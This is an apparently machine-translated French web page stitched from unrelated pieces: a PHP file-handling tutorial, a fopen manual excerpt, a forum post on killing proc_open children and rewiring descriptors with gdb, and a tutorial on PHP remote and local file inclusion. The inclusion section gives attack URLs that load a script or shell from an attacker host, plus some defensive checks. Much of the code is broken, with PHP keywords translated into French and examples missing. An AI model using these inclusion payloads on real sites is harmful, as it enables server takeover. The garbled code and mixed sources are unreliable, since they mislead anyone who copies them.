PHP proc_open bloque-t-il une requête Web ? Ouverture de fichiers et de données externes. Vulnérabilité potentielle de la vérification du journal des requêtes des scripts PHP

Dans ce chapitre, nous allons vous apprendre à ouvrir, lire et fermer un fichier sur le serveur.

Fichier PHP ouvert - fopen ()

Une meilleure méthode pour ouvrir des fichiers consiste à utiliser la fonction fopen(). Cette fonction vous donne plus d'options que la fonction readfile().

Nous utiliserons le fichier texte "webdictionary.txt" pendant les cours :

AJAX = JavaScript et XML asynchrones
CSS = feuilles de style en cascade
HTML = langage de balisage hypertexte
PHP = préprocesseur hypertexte PHP
SQL = langage de requête structuré
SVG = Graphiques vectoriels évolutifs
XML = langage de balisage extensible

Le premier paramètre de fopen() contient le nom du fichier à ouvrir et le second paramètre spécifie dans quel mode le fichier doit être ouvert. L'exemple suivant génère également un message si la fonction fopen() ne parvient pas à ouvrir le fichier spécifié :

Exemple


echo fread($monfichier,filesize("webdictionary.txt"));
fclose($monfichier);
?>

exécuter un exemple »

pointe: Les fonctions fread() et fclose() seront expliquées ci-dessous.

Le fichier peut être ouvert dans l'un des modes suivants :

modes La description
r Ouvrir un fichier en lecture seule
w Ouvrir un fichier en écriture uniquement
une Ouvrir un fichier en écriture uniquement
X Crée un nouveau fichier pour l'écriture uniquement
r+ Ouvrir un fichier en lecture/écriture. Le pointeur de fichier commence au début du fichier
w+ Ouvrir un fichier en lecture/écriture. Efface le contenu du fichier ou crée un nouveau fichier s'il n'existe pas. Le pointeur de fichier commence au début du fichier
un+ Ouvrir un fichier en lecture/écriture. Les données existantes dans le fichier sont conservées. Le pointeur de fichier commence à la fin du fichier. Crée un nouveau fichier si le fichier n'existe pas
x+ Crée un nouveau fichier pour lecture/écriture. Renvoie FALSE et une erreur si le fichier existe déjà

Fichier de lecture PHP - fread ()

La fonction fread() lit à partir d'un fichier ouvert.

Le premier paramètre de fread() contient le nom du fichier à lire et le second paramètre spécifie le nombre maximum d'octets à lire.

Le code PHP suivant lit le fichier "webdictionary.txt" jusqu'au bout :

Fread($monfichier,filesize("webdictionary.txt"));

Fermer le fichier PHP - fclose ()

La fonction fclose() est utilisée pour fermer un fichier ouvert.

C'est une bonne pratique de programmation de fermer tous les fichiers une fois que vous en avez fini avec eux. Vous ne voulez pas qu'un fichier ouvert tourne autour de votre serveur et consomme des ressources !

Le fclose() nécessite le nom du fichier (ou une variable contenant le nom du fichier) que nous voulons fermer :

$monfichier = fopen("webdictionary.txt", "r");
// du code à exécuter....
fclose($monfichier);
?>

PHP Lire une seule ligne - fgets ()

La fonction fgets() est utilisée pour lire une seule ligne d'un fichier.

L'exemple ci-dessous affiche la première ligne du fichier "webdictionary.txt":

Noter: Après un appel à la fonction fgets(), le pointeur de fichier est passé à la ligne suivante.

Vérification PHP de fin de fichier - feof ()

La fonction feof() vérifie si la "fin de fichier" (EOF) a été atteinte.

La fonction feof() est utile pour parcourir des données de longueur inconnue.

L'exemple ci-dessous lit le fichier "webdictionary.txt" ligne par ligne, jusqu'à la fin du fichier :

Exemple

$monfichier = fopen("webdictionary.txt", "r") or die("Impossible d'ouvrir le fichier !");
// Affiche une ligne jusqu'à la fin du fichier
tandis que(!feof($monfichier)) (
echo fgets($monfichier) . "
";
}
fclose($monfichier);
?>

exécuter un exemple »

PHP Lire un seul caractère - fgetc ()

La fonction fgetc() est utilisée pour lire un seul caractère d'un fichier.

L'exemple ci-dessous lit le fichier "webdictionary.txt" caractère par caractère, jusqu'à la fin du fichier :

Exemple

$monfichier = fopen("webdictionary.txt", "r") or die("Impossible d'ouvrir le fichier !");
// Affiche un caractère jusqu'à la fin du fichier
tandis que(!feof($monfichier)) (
echo fgetc($monfichier);
}
fclose($monfichier);
?>

exécuter un exemple »

Noter: Après un appel à la fonction fgetc(), le pointeur de fichier passe au caractère suivant.

Référence complète du système de fichiers PHP

Pour une référence complète des fonctions du système de fichiers, consultez notre

(PHP 4, PHP 5, PHP 7)

fopen- Ouvre un fichier ou une URL

La description

Ressource ouvrir (chaîne $nomfichier , chaîne $mode [, booléen $use_include_path = faux [, ressource $contexte ]])

fopen() Attache la ressource nommée spécifiée dans l'argument du nom de fichier au flux.

Liste des paramètres

Si le nom de fichier est passé sous la forme "scheme://...", il est traité comme une URL et PHP recherchera un gestionnaire de protocole (également connu sous le nom de "wrapper") pour ce schéma. Si aucun wrapper n'est assigné à un protocole, PHP émettra un avis pour vous aider à détecter un problème potentiel dans votre script, puis continuera comme si filename était un fichier normal.

Si PHP est configuré pour que le nom de fichier pointe vers fichier local, une tentative est effectuée pour ouvrir un flux vers ce fichier. Le fichier doit être accessible par PHP, vous devez donc vous assurer que les autorisations du fichier le permettent. Si vous avez activé le mode sans échec ou open_basedir , d'autres restrictions s'appliquent.

Si PHP a défini le nom de fichier pour qu'il pointe vers un protocole enregistré et que ce protocole est enregistré en tant qu'URL réseau, PHP effectue une vérification d'état sur la directive allow_url_fopen. S'il est désactivé, PHP émettra un avertissement et l'appel fopen échouera.

Commenter:

Une liste des protocoles pris en charge est disponible dans la section Protocoles et wrappers pris en charge. Certains protocoles ( emballages) Support le contexte et/ou les options php.ini. Reportez-vous à la page de protocole respective pour une liste des options pouvant être définies. (par exemple, valeur php.ini agent utilisateur utilisé par l'emballage http).

Sur la plate-forme Windows, vous devez échapper toutes les barres obliques inverses dans le chemin du fichier ou utiliser des barres obliques.

$handle = fopen("c:\\dossier\\ressource.txt" , "r" );
?>

Le paramètre mode spécifie le type d'accès que vous demandez au flux. Il peut s'agir de l'une des options suivantes :

Liste des modes possibles pour fopen() mode d'utilisation
mode La description
"r" Ouvre un fichier en lecture seule ; place le pointeur au début du fichier.
"r+" Ouvre un fichier pour la lecture et l'écriture ; place le pointeur au début du fichier.
"w" Ouvre un fichier en écriture uniquement ; place le pointeur au début du fichier et tronque le fichier à une longueur nulle. Si le fichier n'existe pas, il tente de le créer.
"w+" Ouvre un fichier pour la lecture et l'écriture ; place le pointeur au début du fichier et tronque le fichier à une longueur nulle. Si le fichier n'existe pas, il tente de le créer.
"une" Ouvre un fichier en écriture uniquement ; place un pointeur à la fin du fichier. Si le fichier n'existe pas, il tente de le créer.
"un+" Ouvre un fichier pour la lecture et l'écriture ; place un pointeur à la fin du fichier. Si le fichier n'existe pas, il tente de le créer.
"X" Crée et s'ouvre pour l'écriture uniquement ; place le pointeur au début du fichier. Si le fichier existe déjà, appelez fopen() se termine par un échec FAUX et donnera une erreur de niveau E_AVERTISSEMENT. Si le fichier n'existe pas, il essaiera de le créer. Cela équivaut à spécifier les drapeaux O_EXCL|O_CREAT pour interne appel système ouvert(2).
"x+" Crée et ouvre pour la lecture et l'écriture; sinon a le même comportement que "X".
"c" Ouvre un fichier en écriture uniquement. Si le fichier n'existe pas, il est créé. Si le fichier existe, alors il n'est pas tronqué (contrairement "w"), et un appel à cette fonction ne génère pas d'erreur (comme dans le cas de "X"). Le pointeur de fichier sera défini au début du fichier. Cela peut être utile si vous souhaitez verrouiller un fichier (voir troupeau()) avant de changer, depuis l'utilisation "w" peut tronquer le fichier avant l'acquisition du verrou (si vous souhaitez tronquer le fichier, vous pouvez utiliser la fonction ftruncat() après une demande de verrouillage).
"c+" Ouvre un fichier pour la lecture et l'écriture ; sinon a le même comportement que "c".

Commenter:

Différentes familles de systèmes d'exploitation ont des conventions différentes pour les fins de ligne. Lorsque vous écrivez du texte et souhaitez insérer un saut de ligne, vous devez utiliser les caractères (ou caractère) corrects pour votre système d'exploitation. Utilisation des systèmes de la famille Unix \n comme terminaison de ligne, les systèmes de la famille Windows utilisent \r\n comme fins de ligne et les systèmes de la famille Macintosh utilisent \r comme terminaison de ligne.

Si vous utilisez le mauvais caractère de fin de ligne lors de l'édition de fichiers, vous constaterez peut-être que les fichiers semblent "étranges" à l'ouverture.

Windows propose un indicateur de mode de traduction de texte ( "t"), qui traduira automatiquement \n dans \r\n tout en travaillant avec le fichier. Et vice versa - vous pouvez également utiliser "b" pour forcer le mode binaire, dans lequel vos données ne seront pas converties. Pour utiliser ces modes, spécifiez "b" ou "t" la dernière lettre du paramètre mode.

Étant donné que la définition de l'indicateur de traduction par défaut dépend de SAPI et de la version de PHP que vous utilisez, nous vous recommandons de définir explicitement l'indicateur spécifié pour des raisons de portabilité. Vous devez utiliser le mode "t" si vous travaillez avec fichier texte et utilise \n pour marquer la fin d'une ligne dans votre script sans vous soucier de la lisibilité de vos fichiers dans d'autres applications comme Notepad. Dans tous les autres cas, utilisez le drapeau "b".

Si vous ne définissez pas explicitement l'indicateur "b" lorsque vous travaillez avec des fichiers binaires, vous pouvez rencontrer une étrange corruption de vos données, y compris des fichiers image corrompus et des problèmes de caractères étranges. \r\n.

Commenter:

Pour des raisons de portabilité, il est fortement recommandé de toujours utiliser le drapeau "b" lors de l'ouverture de fichiers avec fopen() .

Commenter:

De plus, pour des raisons de portabilité, il est également fortement recommandé de réécrire l'ancien code qui s'appuie sur le mode "t" pour qu'il utilise les fins de ligne et le mode corrects à la place "b".

use_include_path

Le troisième paramètre facultatif use_include_path peut être défini sur "1" ou VRAI si vous souhaitez également rechercher un fichier dans include_path .

Le contexte

Commenter: La prise en charge du contexte a été ajoutée dans PHP 5.0.0. Pour le descriptif contextes voir la section Fils.

Valeurs de retour

Renvoie un pointeur de fichier en cas de succès, ou FAUX en cas d'erreur.

Erreurs

Si le fichier n'a pas pu être ouvert, une erreur de niveau sera générée. E_AVERTISSEMENT. Vous pouvez utiliser un opérateur pour supprimer cette erreur.

Liste des modifications

Exemples

Exemple #1 Exemples d'utilisation fopen()

$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" );
$handle = fopen( "ftp://utilisateur : [courriel protégé]/unfichier.txt", "w");
?>

Remarques

Attention

Lors de l'utilisation de SSL, Microsoft IIS rompt le protocole en fermant la connexion sans envoyer d'indicateur close_notify. PHP signalera cela comme "SSL : erreur de protocole fatale" au moment où vous atteignez la fin des données. Pour contourner ce problème, vous devez définir error_reporting à un niveau qui exclut E_WARNING. Les versions PHP 4.3.7 et antérieures peuvent détecter que le IIS problématique se trouve côté serveur lors de l'ouverture d'un flux à l'aide d'un wrapper https:// et n'affiche pas d'avertissement. Si vous utilisez fsockopen() pour créer ssl:// socket, vous êtes responsable de l'identification et de la suppression de cet avertissement.

Commenter: Lorsque l'option de mode sans échec est activée, PHP vérifie si le répertoire avec lequel vous êtes sur le point de travailler a le même UID (propriété) que le script en cours d'exécution.

Commenter:

Si vous rencontrez des problèmes pour lire ou écrire des fichiers et que vous utilisez PHP comme module serveur, assurez-vous que le processus serveur a accès aux fichiers et répertoires que vous utilisez.

Commenter:

Cette fonction peut également réussir si filename est un répertoire. Si vous ne savez pas si filename est un fichier ou un répertoire, vous devez utiliser la fonction est_dir(), avant d'appeler fopen() .

J'ai eu du temps pendant le week-end, j'ai donc fait une petite recherche sur proc_open() sur les systèmes * nix.

Alors que proc_open() ne bloque pas l'exécution du script PHP même si le script shell ne s'exécute pas en arrière-plan. PHP appelle automatiquement proc_close() après Script PHP complètement exécuté si vous ne l'appelez pas. Nous pouvons donc imaginer que nous avons toujours une ligne avec proc_close() à la fin du script.

Le problème réside dans le prototype non évident mais logique de proc_close(). Supposons que nous ayons un script comme :

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w")), $pipes); //Traiter certaines données générées par notre script, mais pas toutes les données echo fread($pipes,100); //N'attendez pas la fin de l'exécution de scipt - quittez //fermez les tuyaux array_map("fclose",$pipes); //fermez le processus proc_close($proc);

Bizarre, proc_close() attend que le script shell se termine, mais notre script s'est terminé peu de temps après. C'est parce que nous avons fermé les canaux (PHP semble le faire en silence au cas où nous aurions oublié) parce que ce script essaie d'écrire quelque chose dans un canal qui n'existe pas déjà - il obtient une erreur et se termine.

Essayons maintenant sans tuyaux (enfin, ils le feront, mais ils utiliseront le tty actuel sans référence PHP):

$proc = proc_open("top -b -n 10000", array(), $pipes); proc_close($proc);

Maintenant, notre script PHP attend que notre script shell se termine. Peut-on l'éviter ? Heureusement, PHP génère des scripts shell avec

Sh -c "shell_script"

nous pouvons donc simplement tuer le processus sh et laisser notre script en cours d'exécution :

$proc = proc_open("top -b -n 10000", array(), $pipes); $proc_status=proc_get_status($proc); exec("kill -9 ".$proc_status["pid"]); proc_close($proc);

Bien sûr, nous pourrions simplement exécuter ce processus en arrière-plan, comme ceci :

$proc = proc_open("top -b -n 10000 &", array(), $pipes); proc_close($proc);

et n'a aucun problème, mais cette fonction nous amène à la question la plus difficile : pouvons-nous démarrer un processus avec proc_open() en lisant une sortie, puis forcer le processus à redémarrer ? Eh bien, d'une certaine manière, oui.

Le principal problème ici, ce sont les tuyaux : nous ne pouvons pas les fermer ou notre processus mourra, mais nous en avons besoin pour lire la charge utile de ce processus. Il s'avère qu'ici nous pouvons utiliser le tour de magie - gdb.

Créez d'abord un fichier quelque part (/usr/share/gdb_null_descr dans mon exemple) avec le contenu suivant :

P dup2(open("/dev/null",0),1) p dup2(open("/dev/null",0),2)

Il dira à gdb de changer les descripteurs 1 et 2 (enfin, généralement stdout et stderr) pour les nouveaux gestionnaires de fichiers (/dev/null dans cet exemple, mais vous pouvez le changer).

Maintenant, une dernière chose : assurez-vous que gdb peut s'attacher à d'autres processus en cours d'exécution - c'est la valeur par défaut sur certains systèmes, mais par exemple sur Ubuntu 10.10, vous devez définir /proc/sys/kernel/yama/ptrace_scope sur 0 si vous ne le faites pas. ne l'exécutez pas en tant que root.

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $tuyaux); //Traiter certaines données générées par notre script, mais pas toutes les données echo fread($pipes,100); $proc_status=proc_get_status($proc); //Trouver le vrai pid de notre processus (nous devons descendre d'une étape dans l'arborescence des processus) $pid=trim(exec("ps h -o pid --ppid ".$proc_status["pid"])); // Tue le processus sh parent exec("kill -s 9 ".$proc_status["pid"]); //Modifier les gestionnaires stdin/stdout dans notre processus exec("gdb -p ".$pid." --batch -x /usr/share/gdb_null_descr"); array_map("fclose",$pipes); proc_close($proc);

edit: j'ai oublié de mentionner que PHP n'exécute pas votre script shell instantanément, vous devez donc attendre un peu avant d'exécuter d'autres commandes shell, mais c'est généralement assez rapide (ou PHP est assez lent) et j'ai la flemme d'ajouter ceux vérifie mes exemples.

Bases de l'injection PHP pour les débutants.​


Injection PHP(injection PHP en anglais) - à propos L'une des méthodes de piratage de sites Web exécutés sur PHP consiste à exécuter du code étranger côté serveur. Les fonctions potentiellement dangereuses sont :
eval(),
preg_replace() (avec modificateur "e"),
Demandez une fois(),
include_once(),
inclure(),
exiger(),
créer_fonction().

L'injection PHP devient possible si les paramètres d'entrée sont acceptés et utilisés sans validation.

Cliquez pour révéler...

(c)Wiki


Bases.​

php-injection- il s'agit d'une forme d'attaque sur le site, lorsque l'attaquant injecte son code php dans l'application php attaquée.
Avec une injection réussie, l'attaquant peut exécuter du code PHP arbitraire (potentiellement dangereux) sur le serveur cible. Par exemple, remplissez un shell. Mais d'abord, voyons en détail comment cela se produit.

Par exemple:
Imaginons que nous ayons un site Web écrit en PHP.
Imaginons également que le site utilise la commande page=page.html pour afficher la page demandée.
Le code ressemblera à ceci :

$fichier = $_GET["page"] ; // Page affichée
inclure($fichier);
?>

Cela signifie que tout ce qui est affiché sur la page sera intégré dans le code php de cette page. Par conséquent, un attaquant peut faire quelque chose comme :

http : //www.attacked_site.com/index.php?page=http://www.attacking_server.com/malicious_script.txt?

Si nous regardons ce qui se passe après l'exécution de l'inclusion, le code suivant nous sera présenté, exécuté sur le serveur cible :

$fichier= "http://www.attacker_server.com/malicious_script.txt ?"; //$_GET["page"] ;
inclure($fichier); //$file est le script injecté par l'attaquant
?>

Nous voyons que l'attaquant a réussi une attaque sur le serveur cible.

Suite:
Alors, pourquoi l'attaquant a-t-il pu effectuer une injection PHP ?
Tout cela parce que la fonction inclure() vous permet d'exécuter des fichiers distants.

Pourquoi le script a-t-il été spécifié dans l'exemple avec l'extension *.SMS , mais non *.php ?
La réponse est simple, si le script avait le format *.php , il s'exécuterait sur le serveur de l'attaquant, pas sur le système cible.

Le symbole " ? " dans le chemin du script injecté pour supprimer tout ce qui se trouve à l'intérieur de la fonction inclure() sur le serveur cible.
Exemple:

$fichier = $_GET["page"] ;
inclure($fichier . ".php" );
?>

Ce script ajoute une extension *.php à quelque chose appelé par la commande inclure() .
Celles.

http : //www.attacker_server.com/malicious_script.txt

Se transforme en

http : //www.attacker_server.com/malicious_script.txt.php

Le script ne s'exécutera pas avec ce nom (il n'y a pas de fichier sur le serveur de l'attaquant /script_malveillant.txt.php)
C'est pourquoi nous ajoutons "?" à la fin du chemin vers le script malveillant :

http : //www.attacker_server.com/malicious_script.txt?.php

Mais il reste exécutable.

Réalisation d'injections PHP via la vulnérabilité de la fonction include().​

RFI - Injection PHP à distance.​


La possibilité de RFI est un bogue assez courant dans les moteurs.
Vous pouvez le trouver comme ceci :
Disons que nous sommes tombés par hasard sur une page qui se termine comme ceci dans la barre d'adresse du navigateur :

/indice. php ? page = principale

Nous substituons à la place principale toute signification délirante, par exemple upyatchka

/indice. php ? page = upyatchka

En réponse, nous obtenons une erreur :

Attention : main (upyachka . php ) : échec de l'ouverture du flux : Aucun fichier ou répertoire de ce type dans / home / user / www //page.php sur la ligne 3

Attention : main (upyachka . php ) : échec de l'ouverture du flux : Aucun fichier ou répertoire de ce type dans / home / user / www / page . php ligne 3

Attention : main() : Échec de l'ouverture de "upyachka.php" pour l'inclusion (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") dans / home / user / www / page . php ligne 3

Cela nous montre que l'inclusion est faisable.
Nous essayons de remplacer à la place upyatchka site avec un chemin vers le shell (l'extension du fichier shell ne doit pas être spécifiée, ou spécifiez-la comme décrit ci-dessus)

http : //www.attacked_server.com/index.php?file=http://www.attacker_site.com/shell

Ainsi, une coque est obtenue. Vous devez maintenant informer l'administrateur du site de la vulnérabilité afin qu'il puisse la corriger, et les méchants ne profitent pas du bogue.

LFI - inclusion locale pour l'injection PHP.​


Imaginons que nous tombions sur le même site vulnérable

/indice. php ? fichier=principal

Avec codes

..
Inclure("dossier/ $page .htm" );

?>

C'est déjà une inclusion locale. Dans cette situation, seule la liste des fichiers est possible :

/indice. php ? page =../ indice . php

DANS cas suivant le code ressemble à ceci :

..
include("$dir1/dossier/page.php");

?>

Dans ce cas, vous pouvez écrire le chemin vers le shell comme suit :
Créer un dossier dossier sur le site où le shell est stocké, déposez le shell dans ce dossier :

http : //www.attaquant_site.com/dossier/shell.php

L'injection dans ce cas ressemblera à ceci:

indice. php ? répertoire1=http : //www.attaquant_site.com/

Méthodes de protection


Considérez le scénario :

...

inclure $module . ".php" ;
...
?>

Ce script est vulnérable car le contenu de la variable $module vient d'ajouter *.php et le fichier est lancé sur le chemin reçu.

Il existe plusieurs façons de se protéger contre une telle attaque :​


-Vérifiez si la variable $module contient des caractères superflus :

...
$module = $_GET [ "module" ] ;
if (strpbrk ($module , ".?/:" )) die("Blocked" );
inclure $module . ".php" ;
...
?>

-Vérifiez si $module est défini sur l'une des valeurs autorisées :
"/" , "" , $page ); // La possibilité de basculer vers d'autres répertoires est bloquée.
si (fichier_existe("fichiers/ $page.htm "))
{
Inclure("fichiers/$page.htm" );
}
Autre
{
écho
"Erreur" ;
}

?>

PHP fournit également une option pour désactiver l'utilisation fichiers supprimés, cela se fait en changeant l'option allow_url_fopen sur Off dans le fichier de configuration php.ini.

La vulnérabilité décrite présente un danger élevé pour le site et les auteurs de scripts PHP ne doivent pas l'oublier.

Lors de l'écriture, des matériaux ont été utilisés à partir de
Wikipédia,
du forum étranger security-sh3ll (spl0it),
du forum Antichat (GreenBear).
Remerciement spécial à Burt Et f02 pour aider,
soutien et bonnes critiques)​

16.5K

En fait, comment ouvrir un fichier php n'est pas un gros problème. Il peut être plus difficile d'ouvrir une bouteille de bière lorsque vous êtes au milieu d'une forêt. Mais seuls les programmeurs avides le pensent. Et pour les débutants, parlons de toutes les fonctionnalités de php pour travailler avec des fichiers :

fichiers php

Fichiers de extension php contiennent du code écrit dans le langage de programmation du même nom. Contrairement à d'autres langages, php est un langage de programmation côté serveur. C'est-à-dire qu'il s'exécute côté serveur. Par conséquent, pour déboguer son code, un serveur local doit être installé sur la machine cliente.

Pour travailler avec des fichiers php sont utilisés applications spéciales- les éditeurs de logiciels. Les plus courants d'entre eux sont :

  • tisserand de rêves.
  • Éditer.
  • Développement PHP Eclipse.
Lors de la création de sites Web basé sur php code peut devoir être réutilisé. Dans de telles situations, il est pratique de se connecter déjà solution clé en main situé dans un autre fichier. Pour cela, la construction include est utilisée. Sa syntaxe est :

inclure le nom du fichier

Exemple de connexion :

Fichier connecté :


L'inclusion d'un fichier est également possible à l'aide de la construction require. Contrairement à include, il inclut un fichier avant même que le code du programme ne soit exécuté. Avec l'aide de require dans le code, un seul appel à ce fichier est possible. Lors d'accès répétés, le système affichera un message d'erreur global et arrêtera l'exécution du programme.

La construction include connecte la source uniquement pendant l'exécution du programme. Il prend en charge la lecture multiple du fichier php. Si une erreur se produit, seul un message d'avertissement s'affichera et l'exécution du code se poursuivra à partir de la ligne suivante.

Ouverture et fermeture de fichiers

En php, toutes les opérations sur les fichiers s'effectuent en plusieurs étapes :

  • Ouvrir un dossier ;
  • Édition de contenu ;
  • Fermeture d'un dossier.

La fonction fopen() est utilisée pour ouvrir un fichier. Sa syntaxe est :

int fopen(string filename, string mode [, int use_include_path])

Arguments acceptés :

  • nom de fichier de chaîne - nom de fichier ou chemin absolu vers celui-ci. Si le chemin d'accès au fichier n'est pas spécifié, il sera recherché dans le répertoire courant. Si le fichier recherché n'existe pas, le système affichera un message d'erreur. Exemple:

  • mode chaîne - spécifie le mode d'ouverture du fichier. Valeurs acceptées par l'argument :
  • r - le fichier est ouvert en lecture seule, le pointeur de fichier est défini au début ;
  • r+ – le fichier est ouvert en lecture et en écriture ;
  • w - Crée un nouveau fichier en écriture seule. Si un fichier portant le même nom existe déjà, il supprime automatiquement toutes les données ;
  • w+ - crée un nouveau fichier pour l'écriture et la lecture. Si un tel fichier existe, ses données sont complètement écrasées par de nouvelles ;
  • a - le fichier est ouvert en écriture. Le pointeur est placé à la fin. C'est-à-dire que l'entrée dans fichier php ne commencera pas par le début, mais par la fin ;
  • a+ - ouvre le fichier en mode lecture-écriture. L'enregistrement commencera à partir de la fin ;
  • b - mode de travail avec un fichier contenant des données binaires (en système binaire calcul). Ce mode n'est disponible que dans système opérateur Les fenêtres.

La fonction fclose() est utilisée pour fermer l'accès à un fichier. Syntaxe:

int fclose (fichier int) , où fichier int est un descripteur du site à fermer.

Après chaque lecture ou écriture, le fichier doit être fermé avec cette fonction. Sinon, le flux créé pour le fichier reste ouvert. Et cela conduit à une consommation inutile des capacités du serveur.

Exemple:

Lire et écrire des fichiers

La fonction readfile() est idéale pour afficher simplement tout le contenu d'un fichier. Sa syntaxe est :

readfile (string filename) , où string filename est un nom de fichier de chaîne (pas un descripteur de fichier).


Le même fichier peut être lu en utilisant la fonction fpassthru(). Il lit les données depuis la position finale du pointeur jusqu'à la fin du fichier. Sa syntaxe est :

int fpassthru (fichier int)

Pour travailler avec la fonction, vous devez ouvrir et fermer le fichier. Exemple:

Le résultat est similaire au précédent.

Les fonctions du fichier php permettent de lire le contenu ligne par ligne et caractère par caractère :

  • chaîne fgets (fichier int, longueur int)– la fonction lit une chaîne de longueur length . Exemple:

  • chaîne fread (fichier int, longueur int)- l'action est identique à la précédente.

Il existe deux fonctions identiques pour écrire des données texte dans un fichier :

  • int fputs (fichier int, chaîne chaîne [, int longueur ])
  • int fwrite (fichier int, chaîne chaîne [, longueur int ])

Les fonctions écrivent dans le fichier int fichier une chaîne chaîne chaîne de la longueur spécifiée int longueur ( argument facultatif). Exemple:

Création et suppression de fichiers

Pour créer un fichier php, vous pouvez utiliser la fonction fopen() en mode d'accès "w" ou "w+". Ou la fonction touch(). Il définit l'heure de modification du fichier. S'il n'y a pas d'élément avec le nom recherché, il sera créé. Sa syntaxe.

2022 wisemotors.com. Comment ça fonctionne. Le fer. Exploitation minière. Crypto-monnaie.